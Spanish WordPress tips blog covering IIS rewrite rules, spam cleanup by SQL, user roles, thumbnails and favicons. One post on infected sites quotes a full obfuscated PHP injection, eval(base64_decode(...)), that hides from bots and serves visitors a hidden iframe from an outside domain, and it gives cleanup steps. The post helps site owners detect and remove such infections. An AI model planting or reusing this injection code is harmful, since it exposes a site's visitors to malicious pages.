Error 404 – Enlaces permamentes con el nombre de la entrada en IIS

Recientemente al actualizar a la versión 3.9 de WordPress me encontré que los enlaces permanentes (permament links) en mis blogs dejaban de funcionar y daban un error 404.

Tras investigar un poco, porque me parecía raro que con la versión anterior si que funcionara pero con esta no, no encontré la causa de este error, pero si que encontré la forma de solucionarlo.

Para solucionar el problema con los enlaces permanentes en WordPress, tendremos que incorporar o sustituir nuestro web.config de cada web con estas líneas:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<rewrite>
<rules><rule name="Main Rule" stopProcessing="true"><match url=".*"/><conditions logicalGrouping="MatchAll"><add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true"/><add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true"/></conditions><action type="Rewrite" url="index.php/{R:0}"/></rule>
<rule name="wordpress" patternSyntax="Wildcard">
<match url="*"/>
<conditions>
<add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true"/>
<add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true"/>
</conditions>
<action type="Rewrite" url="index.php"/>
</rule></rules>
</rewrite>
</system.webServer>
</configuration>

Espero que os sirva de ayuda.

Como borrar el spam de WordPress de forma masiva

En ocasiones cuando tenemos un blog de WordPress sin actualizar o revisar durante mucho tiempo, nos podemos encontrar con muchísimos comentarios spam. Si tenemos el pluggin de akismet, esto no debería de ser mucho problema porque seguramente haya filtrado el 99.9% de esos comentarios.

El problema es cuando vamos a eliminar estos comentarios spam para que no afecte al rendimiento de nuestra base de datos. Si no son muchos dentro de la zona de comentarios de WordPress, podremos pinchar en spam y luego en el botón de vaciar spam. En caso de que tengamos muchísimos comentarios falsos, este proceso no terminará y no limpiaremos la base de datos, por lo que yo recomiendo que se haga a través de una consulta SQL.

Abrimos nuestra base de datos y ejecutamos el siguiente comando. DELETE FROM wp_comments WHERE comment_approved  =’spam’;  y en cuestión de segundos ya habremos acabado de forma masiva con los comentarios almacenados en spam.

Como comentario final, antes de ejecutar cualquier sentencia en la Base de Datos, es recomendable realizar una copia de seguridad. También notaremos que si en la instalación que hicimos de WordPress, cambiamos el sufijo de las tablas, la tabla de la consulta SQL será diferente a la del ejemplo “wp_comments”.

Como conectar WordPress con Twitter

Twitter Feed

Es posible que tengamos un blog en el que escribimos y también una cuenta de Twitter con la que también nos comunicamos. Puede ser un poco tedioso tener que reescribir o enlazar en WordPress y luego en Twitter. Para evitar trabajar en exceso, hay varias formas de comunicar WordPress con Twitter y voy a explicar la que utilizo yo para los clientes que me lo requieren.

Hay varios plugins, aunque la verdad no los he utilizado y quizás puedan ser muy sencillos. En mi caso para mantener WordPress con menos funciones añadidas, utilizo un servicio externo que nos permite comunicar en Twitter los artículos escritos en WordPress a través del servicio de RSS.

La página desde la que podemos hacer esto es http://twitterfeed.com.

  1. Primero nos registramos en la página.
  2. Creamos el feed como en la imágen.Dándole un nombre y la dirección de las RSS de nuestra página.

    Twitter Feed paso 1

  3. Configuramos el servicio de Twitter introduciendo nuestros datos de Twitter.

    Twitter feed paso 2

  4. Pinchamos en el botón de abajo de “Create” y ya tendremos nuesro enlace configurado.
  5. Podemos cambiar las opciones del enlace, como el tiempo de frecuencia, desde el dashboard.

Niveles de Usuarios en WordPress

wordpress logo logotipo con mantenimiento

Si vas a permiritr escibir noticias a otros usuarios dentro de WordPress, es necesario saber que permisos tienen cada uno de los roles de usuarios que tiene WordPress.

A la pregunta ¿Que es mejor editor, colaborador, autor…?, la respuesta es que depende de lo que le quieras dejar hacer a los usuarios.

Estos son los permisos de los roles de WordPress:

  • Suscriptor – No puede ni escibir ni publicar post. Son usuarios ideales para las páginas que sólo permitan el acceso a usuarios registrados.
  • Colaborador – Es un usuario que puede escribir y modificar sus propios post. No puede publicarlos por lo que necesitará la supervisión de un editor o administrador que se los apruebe (publicar).
  • Autor – Puede escribir y publicar posts, también podrá editarlos, pero sólamente los suyos.
  • Editor – Puede escribir y publicar post y páginas y también editar, modificar y publicar los post de otros usuarios. Sería como el redactor Jefe.
  • Administrador – Es el que puede hacer de todo. desde publicar post a cambiar el aspecto de la página.

 

Puedes ver los roles y todos los permisos en la documentación de WordPress: -> http://codex.wordpress.org/Roles_and_Capabilities

También hay plugins que permiten crear tus propios roles.

 

Como utilizar la imagen destacada de WordPress – Thumbnail

wordpress logo logotipo con mantenimiento

Si quieres utilizar thumnails o la imagen destacada en WordPress, en las entradas de tu tema, sólo tienes que seguir este sencillo tutorial.

  1. Editar el archivo functions.php, bien de forma manual o bien desde el editor de apariencia, seleccionando el archivo functions.
  2. Añadir las siguientes líneas dnetro del archivo functions.php
    • /*La primera línea le dice a WordPress que habilite las imágenes destacadas, si existe la función en nuestro WordPress. La segunda le pasa el tamaño por defecto para esas imágenes.*/
      if ( function_exists( 'add_theme_support' ) )
      add_theme_support( 'post-thumbnails' );
      set_post_thumbnail_size(150, 150);
  3. Ahora editaremos el fichero de las entradas de nuestra página principal, suele ser el archivo index.php o a veces loop.php dependiendo de tu tema.
  4. Añadiremos el siguiente código donde queramos mostrar nuestra imágen destacada o thumbnail
    • <?php the_post_thumbnail();?>

Con esto ya tendríamos puesta nuestra imágen donde la necesitemos.

Unas opciones muy interesantes son el tamaño por defecto del thumbnail para que no nos deformen las imágenes. Simplemente tenemos que cambiar el código del paso 4 por estos otros.
the_post_thumbnail('thumbnail'); // Thumbnail (default 150px x 150px max)
the_post_thumbnail('medium'); // Medium resolution (default 300px x 300px max)
the_post_thumbnail('large'); // Large resolution (default 640px x 640px max)
the_post_thumbnail( array(100,100) ); // Otras resoluciones

Una buena opción es utilizar the_post_thumbnail() con the_excerpt() para obtener post sólamente con la imágen destacada en el index.php y otra imágen dentro del post, en el page.php

Iframe en WordPress, posible malware

wordpress logo logotipo con mantenimiento

Quizás hayas notado en tu blog de WordPress, que arriba hay una franja de separación entre tu blog y la barra del navegador, tal y como tiene este blog. Esto puede ser por diseño (como en este blog) o por una instalación de un malware.

Esta franja, si ves el código fuente de la página verá un código parecido a este, justo en la primera línea de tu blog antes de la cabecera:

  < iframe src="web maliciosa" width="1" height="1"

Esto en la mayoría de los casos es debido a un ataque malicioso. Otra forma de comprobar si te están inyectando código a tu WordPress, es editar el archivo index.php del directorio raiz de tu blog. Si encuentras la siguiente expresión o parecida, estarás infectado.

 < ?php eval( base64_decode ('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX 2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));

Quitar esta línea evitará que te inyecte código en tus páginas, pero es una solución temporal.

Lo mejor que puedes hacer es seguir estos pasos:

  1. Realiza una copia de todos los archivos de WordPress.
  2. Borra completamente los archivos de tu blog del hosting.
  3. Instala un WordPress nuevo en tu hosting.
  4. Sube el archivo wp-config.php de la copia del paso 1 al nuevo blog.
  5. Ahora deberías de poder conectar al blog, que conecta a la base de datos. Por lo que deberías de poder entrar en la sección de administración. (no entres en el apartado de plugins, o probablemente se te desactivarán)
  6. Instala el mismo tema que tenías instalado anteriormente.
  7. Ahora copia cada uno en su sitio desde la copia del paso 1, los siguientes directorios.
  • ./wp-content/themes/tu tema
  • ./wp-content/plugins
  • ./wp-content/uploads
  • Cualquier otro directorio que estimes que necesitas para volver a poner tu wordpress en marcha tal y como estaba.

Ahora ya tienes otra vez tu blog en marcha.

Para asegurarnos de que no nos vuelve a suceder, instalaremos el plugin de seguridad Wp-Security Scan

 

Como poner un favicon en un wordpress, oscomerce, etc

wordpress logo logotipo con mantenimiento

Si quieres poner un favicon en una página web es muy sencillo. Una vez que tienes tu archivo .ico (si no siempre puedes fabricarlo -> Crear un favicon), simplemente deberás de subir el archivo, al que llamaremos favicon.ico, a tu directorio raiz, donde tengas alojada la página.

Una vez subido tu archivo favicon.ico, deberás incluir estas dos líneas entre las etiquetas <head> </head>, es decir en la cabecera de la página. Si estás usando WordPress este archivo suele ser el header.php dentro de nuestra carpeta de temas. En OsComerce por ejemplo iría en el archivo index.php de nuestra carpeta raiz.

Estas son las líneas a incluir:

<link rel=”icon” href=”favicon.ico” type=”image/x-icon”>
<link rel=”shortcut icon” href=”favicon.ico” type=”image/x-icon”>

Donde registrar el dominio más barato

Registrar dominios baratos en 1 and 1

Llevo varios años probando hostings y dominios y la verdad que en 1and1 es donde estoy registrando los dominios y es el sitio que he encontrado más barato. El hosting al final he optado por montar mi propio servidor, donde por ejemplo está alojado este blog.

Si necesitarías alojar vuestro blog o web en un hosting económico, poneros en contacto conmigo en la sección de contacto y os confeccionaré un presupuesto acorde con vuestras necesidades.

HTTP Error 500.50 – URL Rewrite Module Error con imágenes WordPress

wordpress logo logotipo con mantenimiento

Si tienes instalado un WordPress en IIS y al colocar las imágenes te aparecen “rotas”, puedes probar a tomar la dirección URL de la imagen y en otra ventana del navegador ver si la muestra.

Si te aparece el error HTTP Error 500.50 – URL Rewrite Module Error, es probable que tengas problemas de permisos.

Este problema tiene muy fácil solución. WordPress con IIS utiliza la carpeta temporal C:\Windows\Temp. Si el IIS no tiene acceso a ella dará un error. Para solventarlo, iremos a la carpeta C:\Windows\Temp y al usuario IIS_IUSRS le daremos permiso de Modificar.

Ahora podremos subir imágenes sin problemas.

Para las imágenes que ya habíamos subido, tendremos que dar permisos al usuario IIS a la carperta (/wp-content/ folder) donde tengamos instalado nuestro WordPress.

Como eliminar la fecha de los post en WordPress

wordpress logo logotipo con mantenimiento

Actualmente muchas empresas tienen su página web en un formato de blog de WordPress. En muchos de estos casos, la fecha de la publicación de los post es innecesaria e inválida, por lo que vamos a dar alguna pauta para eliminarla.

Primero de todo, recuerda hacer copia de seguridad antes de tocar el código de WordPress.

Según el tema que tengamos en WordPress, buscaremos en el archivo “loop.php” la cadena “get_the_time()“, y procederemos a comentarlo o eliminarlo.

Haremos lo mismo para los archivos “index.php“, “single.php“, “page.php“, aunque es probable que esté este código en todos los archivos o incluso que falte alguno.

Si no encontramos esta cadena en ningún archivo, es probable que nuestro tema esté utilizando funciones para poner la fecha, por lo que iremos al archivo “funtions.php” y buscaremos la cadena “get_the_time()“. En este caso no la vamos a borrar, porque podría causar que no funcionara nuestra web, por lo que vamos a fijarnos en que función es la que llama a esta cadena. En el ejemplo de abajo vemos que la funcion se llama “clearstyle_posted_on()”, con lo cual buscaremos en los archivos anteriormente mencionados esta función para comentarla o eliminarla.

p.j:

function clearstyle_posted_on() {
//echo ‘<a title=”‘ . esc_attr(get_the_time()) . ‘” href=”‘ . get_permalink() . ‘”>’;
//echo ‘<span>’ . get_the_date(‘j’) . ‘</span>’;
//echo ‘<span>’ . get_the_date(‘F’) . ‘</span>’;
//echo ‘<span>’ . get_the_date(‘Y’) . ‘</span>’;
//echo ‘</a>’;
}